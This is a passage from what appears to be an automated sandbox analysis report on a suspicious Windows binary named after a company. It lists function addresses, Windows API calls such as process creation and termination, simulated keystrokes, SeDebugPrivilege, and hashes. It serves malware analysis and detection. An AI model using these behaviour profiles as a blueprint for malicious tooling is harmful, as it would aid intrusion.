                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                              • String ID:
                                                              • API String ID: 560350794-0
                                                              • Opcode ID: f0fd82f39eadf6a464f76301c54089d5423613eccca94e6b8f135e2909e025b5
                                                              • Instruction ID: 56b05cfd6e573278db734f5d0e380d9a62c7a730b09f4c9bf84a7bb9f7016a6f
                                                              • Opcode Fuzzy Hash: f0fd82f39eadf6a464f76301c54089d5423613eccca94e6b8f135e2909e025b5
                                                              • Instruction Fuzzy Hash: FCF15C71A00109EFDF44DF94C888EAEB7B9FF8A314F108698F905AB251DB35AE45CB51
                                                              Function 007AF694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007AF6B5
                                                              • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 007AF848
                                                              • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 007AF86C
                                                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 007AF8AC
                                                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 007AF8CE
                                                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 007AFA4A
                                                              • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 007AFA7C
                                                              • CloseHandle.KERNEL32(?), ref: 007AFAAB
                                                              • CloseHandle.KERNEL32(?), ref: 007AFB22
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                              • String ID:
                                                              • API String ID: 4090791747-0
                                                              • Opcode ID: 752fe51d0a9acb5530028b83e98ea964a8f558e7804c1d3ecfc84f3e26a17615
                                                              • Instruction ID: 749468b19de5f160b7e5709e85cdbf7e558e8484539fd78f88523c240fcbbcbd
                                                              • Opcode Fuzzy Hash: 752fe51d0a9acb5530028b83e98ea964a8f558e7804c1d3ecfc84f3e26a17615
                                                              • Instruction Fuzzy Hash: 2CE1B171604300DFD714EF74C885B6ABBE1AF86310F148A6DF8859B2A2DB79EC45CB52
                                                              Function 00794CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0079466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00793697,?), ref: 0079468B
                                                                • Part of subcall function 0079466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00793697,?), ref: 007946A4
                                                                • Part of subcall function 00794A31: GetFileAttributesW.KERNEL32(?,0079370B), ref: 00794A32
                                                              • lstrcmpiW.KERNEL32(?,?), ref: 00794D40
                                                              • _wcscmp.LIBCMT ref: 00794D5A
                                                              • MoveFileW.KERNEL32(?,?), ref: 00794D75
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                              • String ID:
                                                              • API String ID: 793581249-0
                                                              • Opcode ID: e9ff2ff7ad8657f16e3f8fc051adc7a49cb72991cf4307cc020305732ec06de4
                                                              • Instruction ID: eee6412692abfda4c2db2ea0ccdc4cfc827a6394217272db33dec14f1d2517cf
                                                              • Opcode Fuzzy Hash: e9ff2ff7ad8657f16e3f8fc051adc7a49cb72991cf4307cc020305732ec06de4
                                                              • Instruction Fuzzy Hash: 195172B21083859BDB24DB60D885DDFB3ECAF85351F00492EF689D3152EF78A189C766
                                                              Function 007B8645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 007B86FF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: InvalidateRect
                                                              • String ID:
                                                              • API String ID: 634782764-0
                                                              • Opcode ID: e669a522766729d9c73fded6e616683725ed560356f736c4b5793fe31f07e2ed
                                                              • Instruction ID: 7f06efa70429ce685d314237080ad16f4666d7d4bc34d17033481ef8950f08a9
                                                              • Opcode Fuzzy Hash: e669a522766729d9c73fded6e616683725ed560356f736c4b5793fe31f07e2ed
                                                              • Instruction Fuzzy Hash: B2519130510244FFEB649F68CC89FE97B68FB05768F644215FA10E61A2CF79A980DB52
                                                              Function 00732B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0076C2F7
                                                              • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0076C319
                                                              • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0076C331
                                                              • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0076C34F
                                                              • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0076C370
                                                              • DestroyIcon.USER32(00000000), ref: 0076C37F
                                                              • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0076C39C
                                                              • DestroyIcon.USER32(?), ref: 0076C3AB
                                                                • Part of subcall function 007BA4AF: DeleteObject.GDI32(00000000), ref: 007BA4E8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                              • String ID:
                                                              • API String ID: 2819616528-0
                                                              • Opcode ID: 87ab2dca6de1627cc18ea1ef1ec49c350c38ca864f5ae6b610c55cac6fc48d87
                                                              • Instruction ID: 54f98ff5300acd0bcfea1c7fc22ed70111fa5340488fac8fddeab238e774b0c1
                                                              • Opcode Fuzzy Hash: 87ab2dca6de1627cc18ea1ef1ec49c350c38ca864f5ae6b610c55cac6fc48d87
                                                              • Instruction Fuzzy Hash: E3516B70600209EFEB20DF65CC45FAA7BB5FB58720F108628F94297292DB78ED51DB60
                                                              Function 0078966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0078A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0078A84C
                                                                • Part of subcall function 0078A82C: GetCurrentThreadId.KERNEL32 ref: 0078A853
                                                                • Part of subcall function 0078A82C: AttachThreadInput.USER32(00000000,?,00789683,?,00000001), ref: 0078A85A
                                                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 0078968E
                                                              • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 007896AB
                                                              • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 007896AE
                                                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 007896B7
                                                              • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 007896D5
                                                              • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 007896D8
                                                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 007896E1
                                                              • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 007896F8
                                                              • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 007896FB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                              • String ID:
                                                              • API String ID: 2014098862-0
                                                              • Opcode ID: bef90b1efab631cd965c648a3b95b122d05022d47e2b71d1ff6cae016fc6e2b0
                                                              • Instruction ID: 383fc542707ae19262fd655df0f34cf3afa6e329cda3052cee0da0c58d33957f
                                                              • Opcode Fuzzy Hash: bef90b1efab631cd965c648a3b95b122d05022d47e2b71d1ff6cae016fc6e2b0
                                                              • Instruction Fuzzy Hash: 0911CEB1A50218FEF6106B649C89F6A3B2DEB4CB64F204525F744AB0A0C9F65C109BA8
                                                              Function 00788921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0078853C,00000B00,?,?), ref: 0078892A
                                                              • HeapAlloc.KERNEL32(00000000,?,0078853C,00000B00,?,?), ref: 00788931
                                                              • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0078853C,00000B00,?,?), ref: 00788946
                                                              • GetCurrentProcess.KERNEL32(?,00000000,?,0078853C,00000B00,?,?), ref: 0078894E
                                                              • DuplicateHandle.KERNEL32(00000000,?,0078853C,00000B00,?,?), ref: 00788951
                                                              • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0078853C,00000B00,?,?), ref: 00788961
                                                              • GetCurrentProcess.KERNEL32(0078853C,00000000,?,0078853C,00000B00,?,?), ref: 00788969
                                                              • DuplicateHandle.KERNEL32(00000000,?,0078853C,00000B00,?,?), ref: 0078896C
                                                              • CreateThread.KERNEL32(00000000,00000000,00788992,00000000,00000000,00000000), ref: 00788986
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                              • String ID:
                                                              • API String ID: 1957940570-0
                                                              • Opcode ID: ff650be6758b8d3d482ad523739c0e47c366f31921b37bb937615bf9a54a3856
                                                              • Instruction ID: 17e69bb2678b1d455276dc4d36de556bf5c8b360f377d302608d2c60e400c4f5
                                                              • Opcode Fuzzy Hash: ff650be6758b8d3d482ad523739c0e47c366f31921b37bb937615bf9a54a3856
                                                              • Instruction Fuzzy Hash: 5301A8B524030CFFE610AFA9DC49F6B7BACEB89B11F408521FA05DB1A1CA749C008B25
                                                              Function 007A9B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: NULL Pointer assignment$Not an Object type
                                                              • API String ID: 0-572801152
                                                              • Opcode ID: cdea0b67f0bfbe6bee839aa385853c304702428343a6c596c082369b1b24fda3
                                                              • Instruction ID: 363ea66a066a4ed34600dd86c3a99e6cebe49c17a0d701595eb037e0cfe14704
                                                              • Opcode Fuzzy Hash: cdea0b67f0bfbe6bee839aa385853c304702428343a6c596c082369b1b24fda3
                                                              • Instruction Fuzzy Hash: FAC1C571A002099FDF10DF68C884BAEB7F5FF89314F148569EA05EB281E7789D51CBA0
                                                              Function 007A975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0078710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?,?,00787455), ref: 00787127
                                                                • Part of subcall function 0078710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?), ref: 00787142
                                                                • Part of subcall function 0078710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?), ref: 00787150
                                                                • Part of subcall function 0078710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?), ref: 00787160
                                                              • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 007A9806
                                                              • _memset.LIBCMT ref: 007A9813
                                                              • _memset.LIBCMT ref: 007A9956
                                                              • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 007A9982
                                                              • CoTaskMemFree.OLE32(?), ref: 007A998D
                                                              Strings
                                                              • NULL Pointer assignment, xrefs: 007A99DB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                              • String ID: NULL Pointer assignment
                                                              • API String ID: 1300414916-2785691316
                                                              • Opcode ID: 442f7e0d0074a4e660a425298a7f4ca47e3d9674964b88dea15df36ade025e9a
                                                              • Instruction ID: 26bc13efb0ceb7a0bcfab90acda38e579b1846b5abc1db27b7115ada3b3eb624
                                                              • Opcode Fuzzy Hash: 442f7e0d0074a4e660a425298a7f4ca47e3d9674964b88dea15df36ade025e9a
                                                              • Instruction Fuzzy Hash: 3F915A71D00228EBDB10DFA4DC45EDEBBB9BF49310F20811AF519A7241DB75AA44CFA0
                                                              Function 007B6D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 007B6E24
                                                              • SendMessageW.USER32(?,00001036,00000000,?), ref: 007B6E38
                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 007B6E52
                                                              • _wcscat.LIBCMT ref: 007B6EAD
                                                              • SendMessageW.USER32(?,00001057,00000000,?), ref: 007B6EC4
                                                              • SendMessageW.USER32(?,00001061,?,0000000F), ref: 007B6EF2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window_wcscat
                                                              • String ID: SysListView32
                                                              • API String ID: 307300125-78025650
                                                              • Opcode ID: 1ec6942bacc188bcb82206e589d9bd450550d0a1ebd1372c4ca1c14c3fcac263
                                                              • Instruction ID: 3067d0e2963ab87aa56d0a28dde626b8224c6ef8214770f58dfc9dff2e92946b
                                                              • Opcode Fuzzy Hash: 1ec6942bacc188bcb82206e589d9bd450550d0a1ebd1372c4ca1c14c3fcac263
                                                              • Instruction Fuzzy Hash: E341A275A00348EFEF219F64CC89BEE77A8EF08754F10452AFA44E7291D6799D84CB60
                                                              Function 007AE933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00793C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00793C7A
                                                                • Part of subcall function 00793C55: Process32FirstW.KERNEL32(00000000,?), ref: 00793C88
                                                                • Part of subcall function 00793C55: CloseHandle.KERNEL32(00000000), ref: 00793D52
                                                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 007AE9A4
                                                              • GetLastError.KERNEL32 ref: 007AE9B7
                                                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 007AE9E6
                                                              • TerminateProcess.KERNEL32(00000000,00000000), ref: 007AEA63
                                                              • GetLastError.KERNEL32(00000000), ref: 007AEA6E
                                                              • CloseHandle.KERNEL32(00000000), ref: 007AEAA3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                              • String ID: SeDebugPrivilege
                                                              • API String ID: 2533919879-2896544425
                                                              • Opcode ID: 621145d9eaa4c6960be05c7a24cccb7a063597f70a9114f639852d97e1f4e4de
                                                              • Instruction ID: 68f8cb50d088cf5ca31a3f31671a588b5f17506d2b27c8ad7b1fea7021491d7c
                                                              • Opcode Fuzzy Hash: 621145d9eaa4c6960be05c7a24cccb7a063597f70a9114f639852d97e1f4e4de
                                                              • Instruction Fuzzy Hash: C5419A71200200DFDB10EF28CCA9F6EB7A5AF85710F048518F9429B2D2CBB9AD04CB96
                                                              Function 00792F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadIconW.USER32(00000000,00007F03), ref: 00793033
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: IconLoad
                                                              • String ID: blank$info$question$stop$warning
                                                              • API String ID: 2457776203-404129466
                                                              • Opcode ID: c859732d6a28caf2694d6ee20f5c8b5f37947379b739bd3fbc156a719022e5b7
                                                              • Instruction ID: d1a93cb2d04d281e5c93156f4c62843af2700de18abbd5d23ff18498de22511d
                                                              • Opcode Fuzzy Hash: c859732d6a28caf2694d6ee20f5c8b5f37947379b739bd3fbc156a719022e5b7
                                                              • Instruction Fuzzy Hash: EE116D31348386BEDF149B5DEC47CAB779CDF1A360B10002AF90466182DFBC5F0556A5
                                                              Function 007942F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00794312
                                                              • LoadStringW.USER32(00000000), ref: 00794319
                                                              • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0079432F
                                                              • LoadStringW.USER32(00000000), ref: 00794336
                                                              • _wprintf.LIBCMT ref: 0079435C
                                                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0079437A
                                                              Strings
                                                              • %s (%d) : ==> %s: %s %s, xrefs: 00794357
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadModuleString$Message_wprintf
                                                              • String ID: %s (%d) : ==> %s: %s %s
                                                              • API String ID: 3648134473-3128320259
                                                              • Opcode ID: 6fd335964ae5f255db3c484396898e1d870615a1b98df178f617bea890de8bf6
                                                              • Instruction ID: 56792fa2e75a58ea6e078374f01e3fdf15f6fa94a52586642e484d8099a770af
                                                              • Opcode Fuzzy Hash: 6fd335964ae5f255db3c484396898e1d870615a1b98df178f617bea890de8bf6
                                                              • Instruction Fuzzy Hash: E80162F290020CBFE75197A4DD89FE6776CEB08701F0045A1FB49E6051EA785E854B75
                                                              Function 007BD43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • GetSystemMetrics.USER32(0000000F), ref: 007BD47C
                                                              • GetSystemMetrics.USER32(0000000F), ref: 007BD49C
                                                              • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 007BD6D7
                                                              • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 007BD6F5
                                                              • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 007BD716
                                                              • ShowWindow.USER32(00000003,00000000), ref: 007BD735
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 007BD75A
                                                              • DefDlgProcW.USER32(?,00000005,?,?), ref: 007BD77D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                              • String ID:
                                                              • API String ID: 1211466189-0
